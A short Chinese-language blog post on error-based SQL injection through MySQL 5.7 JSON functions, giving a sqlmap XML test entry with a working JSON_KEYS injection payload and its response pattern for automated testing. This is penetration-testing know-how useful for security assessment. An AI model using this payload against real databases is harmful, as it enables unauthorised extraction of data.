MySQL 5.7版本以后增加了新的特性,其中一个就是开始支持原生的json格式数据,相应的也增加了处理json数据的函数

具体详见:https://dev.mysql.com/doc/refman/5.7/en/json-function-reference.html

而以上这些函数都存在报错类型的注入,例如:JSON_REPLACE函数

然后可以把加入sqlmap,让sqlmap支持对JSON函数的注入

<test>
        <title>MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS FUNCTION)</title>
        <stype>2</stype>
        <level>1</level>
        <risk>0</risk>
        <clause>1,2,3</clause>
        <where>1</where>
        <vector>AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))USING UTF8)))</vector>
        <request>
<payload>AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))USING UTF8)))</payload>
        </request>
        <response>
            <grep>DELIMITER_START[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>>= 5.7</dbms_version>
        </details>
    </test>

使用sqlmap自动注入测试

源链接

Hacking more

...